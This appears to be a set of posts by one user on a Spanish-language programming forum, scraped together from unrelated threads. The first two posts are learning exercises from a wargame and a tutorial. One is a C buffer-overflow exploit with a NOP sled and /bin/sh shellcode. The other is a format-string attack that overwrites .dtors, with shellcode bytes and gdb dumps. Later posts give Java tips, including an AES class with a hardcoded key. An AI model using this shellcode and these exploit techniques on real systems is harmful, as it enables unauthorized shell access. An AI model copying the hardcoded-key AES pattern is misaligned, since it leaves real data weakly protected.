No se si debería postear ya que el tema es algo viejo pero como a mi me ayudaron hay va..

Quizás se me escape algo ya que soy nuevo en esto pero a ese exploit no le veo sentido. Según el código el exploit arma la cadena (nops+shellcode etc) y crea una variable de entorno con ella para que despues el programa le devuelva una shell. ¿?.

¿¿Supongo bien si digo que la idea es ejecutar desde esa shell el programa vulnerable y de alguna forma enviarle la dirección de memoria de esa variable de entorno??... como digo quizás se me escapa algo ( por ejemplo no se el porque de ese EGG= )  pero no le veo sentido.

Te dejo una forma que a mi me a funcionado. Toleren mi código! xD.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define SIZE_STRING 100
#define SIZE_NOP  27

char SHELLCODE[] = "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x6a\x0b\x51\x52\x53\x83\xec\x10\x61\xcd\x80\xb0\xf6\xff\xbf";

int
main( int argc, char* argv[])
{
int size_total = SIZE_STRING+SIZE_NOP+ strlen(SHELLCODE) ;
char buff[ size_total ];

int i;
for( i=0; i < SIZE_STRING ; i++)
{
buff[i] = 'Z';
}

for( i=SIZE_STRING; i < SIZE_STRING+SIZE_NOP; i++ )
{
buff[i] = '\x90';
}

memcpy(buff+ (SIZE_STRING+SIZE_NOP), SHELLCODE, strlen(SHELLCODE) );

execlp("./war1", "war1", buff, NULL);

return 0;
}

PD: y la primera en la frente!.. como he dicho soy nuevo en estas cosas y la respuesta lo deja claro . Leyendo el paper de Aleph One veo que aparece lo del egg e incluso ese tipo de exploit con lo cual peor aún... pero bueno a mi ese me funciono!. ¿Te debería dar las gracias? xD.

Buenas, Pablo511.

Si no usastes nunca ñu/linux xD, yo te recomiendo linux mint, debian o trisquel, hay muchas y bueno para gustos colores...
hay puedes correr aircrack y programas como los que traen wifiway y ademas puedes ir haciendote al sistema.

Saludos

buenas, estoy siguiendo la guia de set-ezine donde enseña como funciona los format string. La cosa es que no consigo ejecutar la shellcode almacenada en la variable de entorno.

Codigo:
int main(int argc, char **argv) {
        char buf[1024];
        strncpy(buf, argv[1], sizeof(buf) - 1);

        printf(buf);

        return 0;
}

He almacenado la shellcode junto con los NOPS en una var de entorno, localizo la direccion con getenv (aslr desactivado), localizo la direccion de _.dtors_end_ con objdump, y esta ultima la sobreescribo con la direccion de la shellcode, hasta aqui todo bien pero... no ejecuta la shellcode.

revisando con gdb el _dtor_end esta bien sobreescrito

[b] x/16x 0x08049514[/b]
0x8049510 <__DTOR_END__>: 0x00000000 0xbffffedf 0x00000001 0x00000010
0x8049520 <_DYNAMIC+8>: 0x0000000c 0x080482c0 0x0000000d 0x080484dc
0x8049530 <_DYNAMIC+24>: 0x00000004 0x0804816c 0x6ffffef5 0x08048198
0x8049540 <_DYNAMIC+40>: 0x00000005 0x08048218 0x00000006 0x080481b8

He probado tanto en los primeros +4 bytes como en los +8 bytes como se ve en la imagen. (en la imagen uso +8) pero cuando examino la direccion de 0xbffffedf no encuentro por ningun lado la shellcode. Deberia ser facil ver porque los NOPS cantan pero no veo na...lo que veo es ....

[b]x/50x 0xbffffedf[/b]
0x785c3063 0x785c3838 0x785c3634 0x785c3730
0xbffffeef: 0x785c3938 0x785c3634 0x785c6330 0x785c3062
0xbffffeff: 0x785c6230 0x785c3938 0x785c3366 0x785c6438
0xbfffff0f: 0x785c6534 0x785c3830 0x785c6438 0x785c3635
0xbfffff1f: 0x785c6330 0x785c6463 0x785c3038 0x785c3133
0xbfffff2f: 0x785c6264 0x785c3938 0x785c3864 0x785c3034
0xbfffff3f: 0x785c6463 0x785c3038 0x785c3865 0x785c6364
0xbfffff4f: 0x785c6666 0x785c6666 0x622f6666 0x732f6e69
0xbfffff5f: 0x49440068 0x414c5053 0x303a3d59 0x4300302e
0xbfffff6f: 0x524f4c4f 0x4d524554 0x6f6e673d 0x742d656d
0xbfffff7f: 0x696d7265 0x006c616e 0x54554158 0x49524f48
0xbfffff8f: 0x2f3d5954 0x2f726176 0x2f6e7572 0x336d6467
0xbfffff9f: 0x7475612f 0x6f662d68

La shellcode la tengo en un fichero y la cargo a la variable asi, export ZW=`perl -e 'print "\x90"x100'``cat fichero`
¿es correcto? agradeceria si alguien me puede orientar un poco...

EDITO:
He conseguido localizar los nops y la shellcode, no la estaba cargando bien en la variable pero aun asi sigue sin ejecutarse. La shellcode es esta: \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh.

0xbfffff1f: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff2f: 0x90909090 0x895e1feb 0xc0310876 0x89074688

EDITO: He probado a utilizar la misma shellcode pero esta vez sobreescribiendo la direccion del RET en la funcion main , y me a funcionado perfectamente.... he vuelto a probar y nada. ¿alguna idea?

gracias y saludos

Creo que te falta el modelo de datos para el JTree, por ejemplo ...

DefaultMutableTreeNode arbol = new DefaultMutableTreeNode("arbol");
DefaultTreeModel modelo = new DefaultTreeModel(arbol);
JTree tree = new JTree(modelo);

DefaultMutableTreeNode padre = new DefaultMutableTreeNode("padre");
DefaultMutableTreeNode hijo=new DefaultMutableTreeNode("hijo");

modelo.insertNodeInto(padre,arbol,0);
modelo.insertNodeInto(hijo, padre, 0);

He utilizado el modelo para agregar los datos porque en caso de cambios se refresca solo, si utilizamos los metodos de add, insert etc de cada nodo, tendras que resfrescarlos tu directamente con repaint() o con los metodos fire*().

No se si el modelo es necesario si o si pero yo hasta ahora he trabajado con el ^^.

Un salud0.

yo tampoco se el porque de esto, quizas se les olvido y parchearon xDD

edito: he estado probando y las cadenas convertidas a string(ya cifradas) no pueden ser recuperables. Solo puedes recuperarla teniendo el array de bytes original. He cambiado la funcion asHex(), la cual tenia el fin de convertir el array de bytes cifrados a string para ser mas entendible y lo he sustituido por sun.misc.BASE64Encoder().encode("array bytes datos cifrados"); , la convierto a base64, quedando la clase de la siguiente manera, ahora por ejemplo podemos usarla para cifrar datos en ficheros  .

package projectclase_servidor;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;


public class AESCrypt {
   
    private static final String llaveSimetrica = "clave de 16 caracteres o multiplo de 16";
       
    public static String encDatos(String cadena){
        byte [] aError = null;
        SecretKeySpec key = new SecretKeySpec(llaveSimetrica.getBytes(), "AES");
        Cipher cipher;
        try {
                cipher = Cipher.getInstance("AES");
                //Comienzo a encriptar
                cipher.init(Cipher.ENCRYPT_MODE, key);
                byte[] datosCifrados = cipher.doFinal(cadena.getBytes()); //cadena = a texto a cifrar
                /*
                 * TODO: Representar los bytes como string vía base64, así será
                 * humanamente leíble. La otra opción es expresar como hexadecimal
                 *
                 * En este caso lo imprimo en pantalla como bytes.
                 */
                return new sun.misc.BASE64Encoder().encode(datosCifrados);
        } catch (Exception e) {
                return null;
        }
   
    }
   
    public static String dencDatos(String datosCifrados){
        SecretKeySpec key = new SecretKeySpec(llaveSimetrica.getBytes(), "AES");
        Cipher cipher;
        try {
                cipher = Cipher.getInstance("AES");
               
                //Comienzo a desencriptar
                cipher.init(Cipher.DECRYPT_MODE, key);
                byte[] datosDecifrados = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(datosCifrados));
                return new String(datosDecifrados);
                /*
                 * TODO: Representar los bytes como string vía base64, así será
                 * humanamente leíble. La otra opción es expresar como hexadecimal
                 *
                 * En este caso lo imprimo en pantalla como bytes.
                 */
        } catch (Exception e) {
                return null;
        } 
    }
}

un saludo

pero ... ¿y el error del if ? xD.

el equals suele usarse mas para objetos y tu diria que trabajas en estructurado, prueba a quitarle el equals y hacer la condicion directamente matriz == valor.

por cierto, saludos.

de nada, aunque te aconsejo utilizar el debbuger para poder analizar como esta corriendo verdaderamente el codigo. Con codigos pequeños no tendrias que tener problemas a la hora de analizarlo.

S4Lv2